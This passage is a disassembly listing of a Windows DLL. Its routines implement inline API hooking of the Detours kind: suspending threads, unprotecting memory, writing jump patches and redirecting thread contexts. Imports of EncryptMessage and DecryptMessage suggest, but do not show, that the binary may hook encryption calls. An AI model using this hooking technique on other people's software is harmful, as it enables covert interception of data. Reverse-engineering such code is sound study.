; [00000006 BYTES: COLLAPSED FUNCTION strcpy. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __CxxFrameHandler. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [00000006 BYTES: COLLAPSED FUNCTION operator delete(void *). PRESS KEYPAD "+"	TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION operator new(uint). PRESS	KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION wcslen. PRESS KEYPAD "+" TO EXPAND]
		align 10h
; [0000002F BYTES: COLLAPSED FUNCTION __alloca_probe. PRESS KEYPAD "+" TO EXPAND]
		align 10h


loc_10017470:				; DATA XREF: sub_1000EA00+Ao
					; sub_1000FCEB+Ao ...
		jmp	ds:_except_handler3
; [000000AB BYTES: COLLAPSED FUNCTION _CRT_INIT(x,x,x).	PRESS KEYPAD "+" TO EXPAND]
; [0000009D BYTES: COLLAPSED FUNCTION DllEntryPoint. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION __dllonexit. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION _initterm. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Thread32Next. PRESS KEYPAD "+" TO	EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION Thread32First. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION CreateToolhelp32Snapshot.	PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION GetAncestor. PRESS KEYPAD	"+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION DecryptMessage. PRESS KEYPAD "+" TO EXPAND]
; [00000006 BYTES: COLLAPSED FUNCTION EncryptMessage. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_100175EE(LPCVOID lpAddress,	int)

sub_100175EE	proc near		; CODE XREF: sub_10017B39+75p
					; sub_10017B39+84p ...

lpAddress	= dword	ptr  4
arg_4		= dword	ptr  8

		push	[esp+arg_4]	; int
		push	[esp+4+lpAddress] ; lpAddress
		call	sub_10017600
		pop	ecx
		pop	ecx
		retn	8
sub_100175EE	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_10017600(LPCVOID lpAddress, int)

sub_10017600	proc near		; CODE XREF: sub_100175EE+8p

lpAddress	= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+lpAddress]
		test	esi, esi
		push	edi
		jnz	short loc_1001760E
		xor	eax, eax
		jmp	short loc_10017653
; ---------------------------------------------------------------------------


loc_1001760E:				; CODE XREF: sub_10017600+8j
		mov	eax, [esp+8+arg_4]
		test	eax, eax
		jz	short loc_10017619
		and	dword ptr [eax], 0


loc_10017619:				; CODE XREF: sub_10017600+14j
		mov	al, [esi]
		cmp	al, 0FFh
		jnz	short loc_10017639
		cmp	byte ptr [esi+1], 25h
		jnz	short loc_10017639
		mov	edi, [esi+2]
		push	edi		; int
		push	esi		; lpAddress
		call	sub_10017656
		pop	ecx
		test	al, al
		pop	ecx
		jz	short loc_10017651
		mov	eax, [edi]
		jmp	short loc_10017653
; ---------------------------------------------------------------------------


loc_10017639:				; CODE XREF: sub_10017600+1Dj
					; sub_10017600+23j
		cmp	al, 0EBh
		jnz	short loc_10017651
		movsx	eax, byte ptr [esi+1]
		cmp	byte ptr [eax+esi+2], 0E9h
		lea	eax, [eax+esi+2]
		jnz	short loc_10017653
		add	eax, [eax+1]
		jmp	short loc_10017653
; ---------------------------------------------------------------------------


loc_10017651:				; CODE XREF: sub_10017600+33j
					; sub_10017600+3Bj
		mov	eax, esi


loc_10017653:				; CODE XREF: sub_10017600+Cj
					; sub_10017600+37j ...
		pop	edi
		pop	esi
		retn
sub_10017600	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_10017656(LPCVOID lpAddress, int)

sub_10017656	proc near		; CODE XREF: sub_10017600+2Ap

var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
Buffer		= _MEMORY_BASIC_INFORMATION ptr	-34h
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
lpAddress	= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_1001E5C8
		push	offset loc_10017470
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 2Ch
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		push	1Ch		; dwLength
		lea	eax, [ebp+Buffer]
		push	eax		; lpBuffer
		push	[ebp+lpAddress]	; lpAddress
		call	ds:VirtualQuery	; VirtualQuery
		and	[ebp+var_4], 0
		mov	ecx, [ebp+Buffer.AllocationBase]
		mov	[ebp+var_38], ecx
		cmp	word ptr [ecx],	5A4Dh
		jnz	short loc_100176DC
		mov	eax, [ecx+3Ch]
		add	eax, ecx
		mov	[ebp+var_3C], eax
		cmp	dword ptr [eax], 4550h
		jz	short loc_100176B4


loc_100176AC:				; CODE XREF: sub_10017656+6Aj
					; sub_10017656+79j
		xor	al, al


loc_100176AE:				; CODE XREF: sub_10017656+7Dj
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_100176E2
; ---------------------------------------------------------------------------


loc_100176B4:				; CODE XREF: sub_10017656+54j
		mov	edx, [eax+0D8h]
		lea	esi, [edx+ecx]
		cmp	[ebp+arg_4], esi
		jb	short loc_100176AC
		mov	eax, [eax+0DCh]
		add	eax, edx
		add	eax, ecx
		cmp	[ebp+arg_4], eax
		jnb	short loc_100176AC
		mov	al, 1
		jmp	short loc_100176AE
; ---------------------------------------------------------------------------


loc_100176D5:				; DATA XREF: .rdata:1001E5CCo
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------


loc_100176D9:				; DATA XREF: .rdata:1001E5D0o
		mov	esp, [ebp+var_18]


loc_100176DC:				; CODE XREF: sub_10017656+44j
		or	[ebp+var_4], 0FFFFFFFFh
		xor	al, al


loc_100176E2:				; CODE XREF: sub_10017656+5Cj
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_10017656	endp


; =============== S U B	R O U T	I N E =======================================



sub_100176F1	proc near		; CODE XREF: sub_1001338E+3p
					; sub_100134D4+3p
		push	esi
		xor	esi, esi
		cmp	Destination, esi
		jnz	short loc_10017713
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		push	esi		; Comperand
		push	eax		; Exchange
		push	offset Destination ; Destination
		call	ds:InterlockedCompareExchange	; InterlockedCompareExchange
		test	eax, eax
		jz	short loc_1001771A


loc_10017713:				; CODE XREF: sub_100176F1+9j
		mov	eax, 10DDh
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_1001771A:				; CODE XREF: sub_100176F1+20j
		mov	dword_10073FA8,	esi
		mov	dword_10073FBC,	esi
		mov	dword_10073FB8,	esi
		mov	dword_10073FB0,	esi
		mov	dword_10073FB4,	esi
		call	sub_10017741
		xor	eax, eax
		pop	esi
		retn
sub_100176F1	endp


; =============== S U B	R O U T	I N E =======================================



sub_10017741	proc near		; CODE XREF: sub_100176F1+47p

flOldProtect	= dword	ptr -4

		push	ecx
		push	esi
		mov	esi, lpAddress


loc_10017749:				; CODE XREF: sub_10017741+22j
		test	esi, esi
		jz	short loc_10017765
		lea	eax, [esp+8+flOldProtect]
		push	eax		; lpflOldProtect
		push	40h		; flNewProtect
		push	10000h		; dwSize
		push	esi		; lpAddress
		call	ds:VirtualProtect	; VirtualProtect
		mov	esi, [esi+4]
		jmp	short loc_10017749
; ---------------------------------------------------------------------------


loc_10017765:				; CODE XREF: sub_10017741+Aj
		pop	esi
		pop	ecx
		retn
sub_10017741	endp


; =============== S U B	R O U T	I N E =======================================



sub_10017768	proc near		; CODE XREF: sub_1001785F+3Bp

flOldProtect	= dword	ptr -4

		push	ecx
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		cmp	Destination, eax
		jz	short loc_1001777E
		mov	eax, 10DDh
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_1001777E:				; CODE XREF: sub_10017768+Dj
		push	ebx
		push	esi
		mov	esi, dword_10073FBC
		xor	ebx, ebx
		cmp	esi, ebx
		push	edi
		jz	short loc_100177CB


loc_1001778D:				; CODE XREF: sub_10017768+61j
		lea	eax, [esp+10h+flOldProtect]
		push	eax		; lpflOldProtect
		mov	eax, [esi+10h]
		push	dword ptr [esi+14h] ; flNewProtect
		movzx	eax, byte ptr [eax+17h]
		push	eax		; dwSize
		push	dword ptr [esi+0Ch] ; lpAddress
		call	ds:VirtualProtect	; VirtualProtect
		cmp	[esi+4], ebx
		jnz	short loc_100177BC
		mov	eax, [esi+10h]
		cmp	eax, ebx
		jz	short loc_100177BC
		push	eax		; Dst
		call	sub_10017832
		pop	ecx
		mov	[esi+10h], ebx


loc_100177BC:				; CODE XREF: sub_10017768+41j
					; sub_10017768+48j
		mov	edi, [esi]
		push	esi		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		cmp	edi, ebx
		pop	ecx
		mov	esi, edi
		jnz	short loc_1001778D


loc_100177CB:				; CODE XREF: sub_10017768+23j
		mov	dword_10073FBC,	ebx
		call	sub_1001780B
		mov	esi, dword_10073FB8
		cmp	esi, ebx
		jz	short loc_100177F8


loc_100177E0:				; CODE XREF: sub_10017768+8Ej
		push	dword ptr [esi+4] ; hThread
		call	ds:ResumeThread	; ResumeThread
		mov	edi, [esi]
		push	esi		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		cmp	edi, ebx
		pop	ecx
		mov	esi, edi
		jnz	short loc_100177E0


loc_100177F8:				; CODE XREF: sub_10017768+76j
		pop	edi
		mov	dword_10073FB8,	ebx
		mov	Destination, ebx
		pop	esi
		xor	eax, eax
		pop	ebx
		pop	ecx
		retn
sub_10017768	endp


; =============== S U B	R O U T	I N E =======================================



sub_1001780B	proc near		; CODE XREF: sub_10017768+69p
					; sub_1001785F+208p

flOldProtect	= dword	ptr -4

		push	ecx
		push	esi
		mov	esi, lpAddress


loc_10017813:				; CODE XREF: sub_1001780B+22j
		test	esi, esi
		jz	short loc_1001782F
		lea	eax, [esp+8+flOldProtect]
		push	eax		; lpflOldProtect
		push	20h		; flNewProtect
		push	10000h		; dwSize
		push	esi		; lpAddress
		call	ds:VirtualProtect	; VirtualProtect
		mov	esi, [esi+4]
		jmp	short loc_10017813
; ---------------------------------------------------------------------------


loc_1001782F:				; CODE XREF: sub_1001780B+Aj
		pop	esi
		pop	ecx
		retn
sub_1001780B	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_10017832(void	*Dst)

sub_10017832	proc near		; CODE XREF: sub_10017768+4Bp
					; sub_1001785F+1EAp ...

Dst		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+Dst]
		push	20h		; Size
		mov	esi, edi
		push	0		; Val
		push	edi		; Dst
		and	si, 0
		call	memset	; memset
		mov	eax, [esi+8]
		add	esp, 0Ch
		mov	[edi+18h], eax
		mov	[esi+8], edi
		pop	edi
		pop	esi
		retn
sub_10017832	endp


; =============== S U B	R O U T	I N E =======================================



sub_10017857	proc near		; CODE XREF: sub_1001338E+13Fp
					; sub_100134D4+13Fp
		push	0
		call	sub_1001785F
		retn
sub_10017857	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_1001785F	proc near		; CODE XREF: sub_10017857+2p

Context		= CONTEXT ptr -2D4h
flOldProtect	= dword	ptr -8
hProcess	= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 2D4h
		mov	eax, [ebp+arg_0]
		push	ebx
		xor	ebx, ebx
		cmp	eax, ebx
		jz	short loc_1001787A
		mov	ecx, dword_10073FB4
		mov	[eax], ecx


loc_1001787A:				; CODE XREF: sub_1001785F+11j
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		cmp	Destination, eax
		jz	short loc_10017892
		mov	eax, 10DDh
		jmp	loc_10017AB0
; ---------------------------------------------------------------------------


loc_10017892:				; CODE XREF: sub_1001785F+27j
		cmp	dword_10073FB0,	ebx
		jz	short loc_100178A4
		call	sub_10017768
		jmp	loc_10017AAB
; ---------------------------------------------------------------------------


loc_100178A4:				; CODE XREF: sub_1001785F+39j
		push	esi
		mov	esi, dword_10073FBC
		push	edi


loc_100178AC:				; CODE XREF: sub_1001785F+EFj
		cmp	esi, ebx
		jz	loc_10017953
		cmp	[esi+4], ebx
		mov	eax, [esi+10h]
		jz	short loc_10017911
		xor	edi, edi
		cmp	byte ptr [eax+17h], 0
		jbe	short loc_100178EC


loc_100178C4:				; CODE XREF: sub_1001785F+8Bj
		lea	ecx, [ebp+hProcess]
		mov	[ebp+hProcess],	ebx
		push	ecx
		push	ebx
		push	eax
		mov	eax, [esi+0Ch]
		add	eax, edi
		push	eax
		call	sub_10018593
		cmp	[ebp+hProcess],	ebx
		jnz	short loc_100178EC
		mov	ecx, [esi+10h]
		mov	edi, eax
		sub	edi, ecx
		movzx	ecx, byte ptr [ecx+17h]
		cmp	edi, ecx
		jl	short loc_100178C4


loc_100178EC:				; CODE XREF: sub_1001785F+63j
					; sub_1001785F+7Cj
		mov	eax, [esi+10h]
		movzx	eax, byte ptr [eax+17h]
		cmp	edi, eax
		jz	short loc_10017909
		mov	dword_10073FB0,	0Dh
		mov	eax, [esi+8]
		mov	dword_10073FB4,	eax


loc_10017909:				; CODE XREF: sub_1001785F+96j
		mov	eax, [esi+8]
		mov	ecx, [esi+0Ch]
		jmp	short loc_1001794A
; ---------------------------------------------------------------------------


loc_10017911:				; CODE XREF: sub_1001785F+5Bj
		mov	ecx, [eax+1Ch]
		mov	eax, [esi+0Ch]
		lea	edx, [eax+5]
		mov	byte ptr [eax],	0E9h
		inc	eax
		sub	ecx, edx
		mov	[eax], ecx
		mov	ecx, [esi+10h]
		lea	edi, [eax+4]
		mov	ecx, [ecx+18h]
		cmp	edi, ecx
		jnb	short loc_10017944
		sub	ecx, edi
		mov	eax, 0CCCCCCCCh
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_10017944:				; CODE XREF: sub_1001785F+CEj
		mov	eax, [esi+8]
		mov	ecx, [esi+10h]


loc_1001794A:				; CODE XREF: sub_1001785F+B0j
		mov	[eax], ecx
		mov	esi, [esi]
		jmp	loc_100178AC
; ---------------------------------------------------------------------------


loc_10017953:				; CODE XREF: sub_1001785F+4Fj
		mov	edi, dword_10073FB8
		cmp	edi, ebx
		jz	loc_100179FD
		mov	ebx, ds:SetThreadContext


loc_10017967:				; CODE XREF: sub_1001785F+196j
		lea	eax, [ebp+Context]
		mov	[ebp+Context.ContextFlags], 10001h
		push	eax		; lpContext
		push	dword ptr [edi+4] ; hThread
		call	ds:GetThreadContext	; GetThreadContext
		test	eax, eax
		jz	short loc_100179F1
		mov	esi, dword_10073FBC


loc_1001798B:				; CODE XREF: sub_1001785F+190j
		test	esi, esi
		jz	short loc_100179F1
		cmp	dword ptr [esi+4], 0
		jz	short loc_100179B6
		mov	eax, [esi+10h]
		cmp	[ebp+Context._Eip], eax
		jb	short loc_100179ED
		lea	ecx, [eax+4]
		cmp	[ebp+Context._Eip], ecx
		jnb	short loc_100179ED
		sub	[ebp+Context._Eip], eax
		mov	eax, [esi+0Ch]
		jmp	short loc_100179DB
; ---------------------------------------------------------------------------


loc_100179B6:				; CODE XREF: sub_1001785F+134j
		mov	eax, [esi+0Ch]
		cmp	[ebp+Context._Eip], eax
		jb	short loc_100179ED
		mov	ecx, [esi+10h]
		movzx	ecx, byte ptr [ecx+17h]
		add	ecx, eax
		cmp	[ebp+Context._Eip], ecx
		jnb	short loc_100179ED
		sub	[ebp+Context._Eip], eax
		mov	eax, [esi+10h]


loc_100179DB:				; CODE XREF: sub_1001785F+155j
		add	[ebp+Context._Eip], eax
		lea	eax, [ebp+Context]
		push	eax		; lpContext
		push	dword ptr [edi+4] ; hThread
		call	ebx ; SetThreadContext


loc_100179ED:				; CODE XREF: sub_1001785F+13Fj
					; sub_1001785F+14Aj ...
		mov	esi, [esi]
		jmp	short loc_1001798B
; ---------------------------------------------------------------------------


loc_100179F1:				; CODE XREF: sub_1001785F+124j
					; sub_1001785F+12Ej
		mov	edi, [edi]
		test	edi, edi
		jnz	loc_10017967
		xor	ebx, ebx


loc_100179FD:				; CODE XREF: sub_1001785F+FCj
		call	ds:GetCurrentProcess	; GetCurrentProcess
		mov	esi, dword_10073FBC
		mov	[ebp+hProcess],	eax
		cmp	esi, ebx
		jz	short loc_10017A61


loc_10017A10:				; CODE XREF: sub_1001785F+200j
		lea	eax, [ebp+flOldProtect]
		push	eax		; lpflOldProtect
		mov	eax, [esi+10h]
		push	dword ptr [esi+14h] ; flNewProtect
		movzx	eax, byte ptr [eax+17h]
		push	eax		; dwSize
		push	dword ptr [esi+0Ch] ; lpAddress
		call	ds:VirtualProtect	; VirtualProtect
		mov	eax, [esi+10h]
		movzx	eax, byte ptr [eax+17h]
		push	eax		; dwSize
		push	dword ptr [esi+0Ch] ; lpBaseAddress
		push	[ebp+hProcess]	; hProcess
		call	ds:FlushInstructionCache	; FlushInstructionCache
		cmp	[esi+4], ebx
		jz	short loc_10017A52
		mov	eax, [esi+10h]
		cmp	eax, ebx
		jz	short loc_10017A52
		push	eax		; Dst
		call	sub_10017832
		pop	ecx
		mov	[esi+10h], ebx


loc_10017A52:				; CODE XREF: sub_1001785F+1E0j
					; sub_1001785F+1E7j
		mov	edi, [esi]
		push	esi		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		cmp	edi, ebx
		pop	ecx
		mov	esi, edi
		jnz	short loc_10017A10


loc_10017A61:				; CODE XREF: sub_1001785F+1AFj
		mov	dword_10073FBC,	ebx
		call	sub_1001780B
		mov	esi, dword_10073FB8
		cmp	esi, ebx
		jz	short loc_10017A8E


loc_10017A76:				; CODE XREF: sub_1001785F+22Dj
		push	dword ptr [esi+4] ; hThread
		call	ds:ResumeThread	; ResumeThread
		mov	edi, [esi]
		push	esi		; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		cmp	edi, ebx
		pop	ecx
		mov	esi, edi
		jnz	short loc_10017A76


loc_10017A8E:				; CODE XREF: sub_1001785F+215j
		mov	eax, [ebp+arg_0]
		pop	edi
		cmp	eax, ebx
		mov	dword_10073FB8,	ebx
		mov	Destination, ebx
		pop	esi
		jz	short loc_10017AAB
		mov	ecx, dword_10073FB4
		mov	[eax], ecx


loc_10017AAB:				; CODE XREF: sub_1001785F+40j
					; sub_1001785F+242j
		mov	eax, dword_10073FB0


loc_10017AB0:				; CODE XREF: sub_1001785F+2Ej
		pop	ebx
		leave
		retn	4
sub_1001785F	endp


; =============== S U B	R O U T	I N E =======================================


; int __stdcall	sub_10017AB5(HANDLE hThread)

sub_10017AB5	proc near		; CODE XREF: sub_1001338E+Fp
					; sub_100134D4+Fp

hThread		= dword	ptr  4

		mov	eax, dword_10073FB0
		push	esi
		test	eax, eax
		push	edi
		jnz	short loc_10017B1F
		call	ds:GetCurrentThread	; GetCurrentThread
		mov	edi, [esp+8+hThread]
		cmp	edi, eax
		jz	short loc_10017B1D
		push	8		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jnz	short loc_10017AE1
		push	8
		pop	edi
		jmp	short loc_10017AFC
; ---------------------------------------------------------------------------


loc_10017AE1:				; CODE XREF: sub_10017AB5+25j
		push	edi		; hThread
		call	ds:SuspendThread	; SuspendThread
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_10017B0D
		call	ds:GetLastError
		push	esi		; void *
		mov	edi, eax
		call	??3@YAXPAX@Z	; operator delete(void *)
		pop	ecx


loc_10017AFC:				; CODE XREF: sub_10017AB5+2Aj
		and	dword_10073FB4,	0
		mov	dword_10073FB0,	edi
		mov	eax, edi
		jmp	short loc_10017B1F
; ---------------------------------------------------------------------------


loc_10017B0D:				; CODE XREF: sub_10017AB5+36j
		mov	[esi+4], edi
		mov	eax, dword_10073FB8
		mov	[esi], eax
		mov	dword_10073FB8,	esi


loc_10017B1D:				; CODE XREF: sub_10017AB5+17j
		xor	eax, eax


loc_10017B1F:				; CODE XREF: sub_10017AB5+9j
					; sub_10017AB5+56j
		pop	edi
		pop	esi
		retn	4
sub_10017AB5	endp


; =============== S U B	R O U T	I N E =======================================



sub_10017B24	proc near		; CODE XREF: sub_1000FB92+Cp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		xor	eax, eax
		push	eax		; void *
		push	eax		; int
		push	eax		; int
		push	[esp+0Ch+arg_4]	; int
		push	[esp+10h+arg_0]	; int
		call	sub_10017B39
		retn	8
sub_10017B24	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __stdcall	sub_10017B39(int, int, int, int, void *)

sub_10017B39	proc near		; CODE XREF: sub_10017B24+Dp

flOldProtect	= dword	ptr -0Ch
lpAddress	= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_8]
		push	ebx
		push	esi
		xor	esi, esi
		cmp	eax, esi
		push	edi
		mov	[ebp+var_4], esi
		jz	short loc_10017B50
		mov	[eax], esi


loc_10017B50:				; CODE XREF: sub_10017B39+13j
		mov	eax, [ebp+arg_C]
		cmp	eax, esi
		jz	short loc_10017B59
		mov	[eax], esi


loc_10017B59:				; CODE XREF: sub_10017B39+1Cj
		mov	ebx, [ebp+arg_10]
		cmp	ebx, esi
		jz	short loc_10017B62
		mov	[ebx], esi


loc_10017B62:				; CODE XREF: sub_10017B39+25j
		call	ds:GetCurrentThreadId	; GetCurrentThreadId
		cmp	Destination, eax
		jz	short loc_10017B7A
		mov	eax, 10DDh
		jmp	loc_10017D86
; ---------------------------------------------------------------------------


loc_10017B7A:				; CODE XREF: sub_10017B39+35j
		mov	eax, dword_10073FB0
		cmp	eax, esi
		jnz	loc_10017D86
		mov	ecx, [ebp+arg_0]
		cmp	ecx, esi
		jnz	short loc_10017B96
		push	6
		pop	eax
		jmp	loc_10017D86
; ---------------------------------------------------------------------------


loc_10017B96:				; CODE XREF: sub_10017B39+53j
		mov	eax, [ecx]
		cmp	eax, esi
		jnz	short loc_10017BA9
		push	6
		pop	eax
		mov	dword_10073FB0,	eax
		jmp	loc_10017D3E
; ---------------------------------------------------------------------------


loc_10017BA9:				; CODE XREF: sub_10017B39+61j
		push	esi		; int
		push	eax		; lpAddress
		mov	[ebp+arg_10], esi
		call	sub_100175EE
		push	0		; int
		mov	edi, eax
		push	[ebp+arg_4]	; lpAddress
		mov	[ebp+lpAddress], edi
		call	sub_100175EE
		cmp	eax, edi
		mov	[ebp+arg_4], eax
		jnz	short loc_10017BDB
		cmp	dword_10073FA8,	0
		jnz	loc_10017D38
		jmp	loc_10017D16
; ---------------------------------------------------------------------------


loc_10017BDB:				; CODE XREF: sub_10017B39+8Ej
		mov	ecx, [ebp+arg_C]
		test	ecx, ecx
		jz	short loc_10017BE4
		mov	[ecx], edi


loc_10017BE4:				; CODE XREF: sub_10017B39+A7j
		test	ebx, ebx
		jz	short loc_10017BEA
		mov	[ebx], eax


loc_10017BEA:				; CODE XREF: sub_10017B39+ADj
		push	18h		; unsigned int
		call	??2@YAPAXI@Z	; operator new(uint)
		test	eax, eax
		pop	ecx
		mov	[ebp+arg_10], eax
		jnz	short loc_10017C05


loc_10017BF9:				; CODE XREF: sub_10017B39+D7j
		mov	[ebp+var_4], 8
		jmp	loc_10017D16
; ---------------------------------------------------------------------------


loc_10017C05:				; CODE XREF: sub_10017B39+BEj
		push	edi
		call	sub_10017DDC
		mov	esi, eax
		pop	ecx
		test	esi, esi
		jz	short loc_10017BF9
		mov	eax, [ebp+arg_8]
		test	eax, eax
		jz	short loc_10017C1B
		mov	[eax], esi


loc_10017C1B:				; CODE XREF: sub_10017B39+DEj
		mov	eax, edi
		xor	ebx, ebx
		jmp	short loc_10017C24
; ---------------------------------------------------------------------------


loc_10017C21:				; CODE XREF: sub_10017B39+11Fj
		mov	eax, [ebp+arg_8]


loc_10017C24:				; CODE XREF: sub_10017B39+E6j
		and	[ebp+arg_C], 0
		lea	ecx, [ebp+arg_C]
		push	ecx
		push	0
		mov	[ebp+var_4], eax
		push	eax
		lea	eax, [ebx+esi]
		push	eax
		call	sub_10018593
		cmp	[ebp+arg_C], 0
		mov	[ebp+arg_8], eax
		jnz	short loc_10017C5A
		push	[ebp+var_4]
		mov	ebx, eax
		sub	ebx, edi
		call	sub_10017D8D
		test	eax, eax
		pop	ecx
		jnz	short loc_10017C5A
		cmp	ebx, 5
		jl	short loc_10017C21


loc_10017C5A:				; CODE XREF: sub_10017B39+109j
					; sub_10017B39+11Aj
		cmp	ebx, 5
		jge	short loc_10017C78
		cmp	dword_10073FA8,	0
		mov	[ebp+var_4], 9
		jnz	loc_10017D1E
		jmp	loc_10017D16
; ---------------------------------------------------------------------------


loc_10017C78:				; CODE XREF: sub_10017B39+124j
		cmp	ebx, 12h
		jbe	short loc_10017C89
		mov	[ebp+var_4], 6
		jmp	loc_10017D16
; ---------------------------------------------------------------------------


loc_10017C89:				; CODE XREF: sub_10017B39+142j
		mov	eax, [ebp+arg_4]
		lea	ecx, [esi+17h]
		mov	[esi+1Ch], eax
		lea	edx, [ebx+edi]
		lea	eax, [ebx+esi]
		mov	[esi+18h], edx
		mov	[ecx], bl
		lea	edi, [eax+5]
		mov	byte ptr [eax],	0E9h
		inc	eax
		sub	edx, edi
		lea	edi, [eax+4]
		mov	[eax], edx
		cmp	edi, ecx
		jnb	short loc_10017CC4
		sub	ecx, edi
		mov	eax, 0CCCCCCCCh
		mov	edx, ecx
		shr	ecx, 2
		rep stosd
		mov	ecx, edx
		and	ecx, 3
		rep stosb


loc_10017CC4:				; CODE XREF: sub_10017B39+174j
		mov	edi, [ebp+arg_10]
		and	[ebp+flOldProtect], 0
		lea	eax, [ebp+flOldProtect]
		push	eax		; lpflOldProtect
		push	40h		; flNewProtect
		push	ebx		; dwSize
		push	[ebp+lpAddress]	; lpAddress
		call	ds:VirtualProtect	; VirtualProtect
		test	eax, eax
		jz	short loc_10017D0D
		push	[ebp+lpAddress]	; lpAddress
		call	sub_10017FD3
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	short loc_10017D5E
		cmp	word ptr [ebx+1Ch], 6544h
		jz	short loc_10017D5E
		and	[ebp+arg_4], 0
		lea	eax, [ebp+arg_4]
		push	eax		; lpflOldProtect
		push	40h		; flNewProtect
		push	40h		; dwSize
		push	ebx		; lpAddress
		call	ds:VirtualProtect	; VirtualProtect
		test	eax, eax
		jnz	short loc_10017D46


loc_10017D0D:				; CODE XREF: sub_10017B39+1A4j
		call	ds:GetLastError
		mov	[ebp+var_4], eax


loc_10017D16:				; CODE XREF: sub_10017B39+9Dj
					; sub_10017B39+C7j ...
		mov	eax, [ebp+var_4]
		mov	dword_10073FB0,	eax


loc_10017D1E:				; CODE XREF: sub_10017B39+134j
		test	esi, esi
		jz	short loc_10017D29
		push	esi		; Dst
		call	sub_10017832
		pop	ecx


loc_10017D29:				; CODE XREF: sub_10017B39+1E7j
		cmp	[ebp+arg_10], 0
		jz	short loc_10017D38
		push	[ebp+arg_10]	; void *
		call	??3@YAXPAX@Z	; operator delete(void *)
		pop	ecx


loc_10017D38:				; CODE XREF: sub_10017B39+97j
					; sub_10017B39+1F4j
		mov	eax, [ebp+var_4]
		mov	ecx, [ebp+arg_0]


loc_10017D3E:				; CODE XREF: sub_10017B39+6Bj
		mov	dword_10073FB4,	ecx
		jmp	short loc_10017D86
; ---------------------------------------------------------------------------


loc_10017D46:				; CODE XREF: sub_10017B39+1D2j
		mov	word ptr [ebx+1Ch], 6544h
		mov	word ptr [ebx+1Eh], 6F74h
		mov	word ptr [ebx+20h], 7275h
		mov	word ptr [ebx+22h], 2173h


loc_10017D5E:				; CODE XREF: sub_10017B39+1B3j
					; sub_10017B39+1BBj
		mov	eax, [ebp+arg_0]
		and	dword ptr [edi+4], 0
		mov	[edi+8], eax
		mov	eax, [ebp+lpAddress]
		mov	[edi+10h], esi
		mov	[edi+0Ch], eax
		mov	eax, [ebp+flOldProtect]
		mov	[edi+14h], eax
		mov	eax, dword_10073FBC
		mov	[edi], eax
		mov	dword_10073FBC,	edi
		xor	eax, eax


loc_10017D86:				; CODE XREF: sub_10017B39+3Cj
					; sub_10017B39+48j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn	14h
sub_10017B39	endp


; =============== S U B	R O U T	I N E =======================================



sub_10017D8D	proc near		; CODE XREF: sub_10017B39+112p

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		mov	al, [ecx]
		cmp	al, 0E9h
		jz	short loc_10017DD8
		cmp	al, 0E0h
		jz	short loc_10017DD8
		cmp	al, 0C2h
		jz	short loc_10017DD8
		cmp	al, 0C3h
		jz	short loc_10017DD8
		cmp	al, 0CCh
		jz	short loc_10017DD8
		cmp	al, 0FFh
		jnz	short loc_10017DB1
		cmp	byte ptr [ecx+1], 25h
		jz	short loc_10017DD8


loc_10017DB1:				; CODE XREF: sub_10017D8D+1Cj
		cmp	al, 26h
		jz	short loc_10017DC9
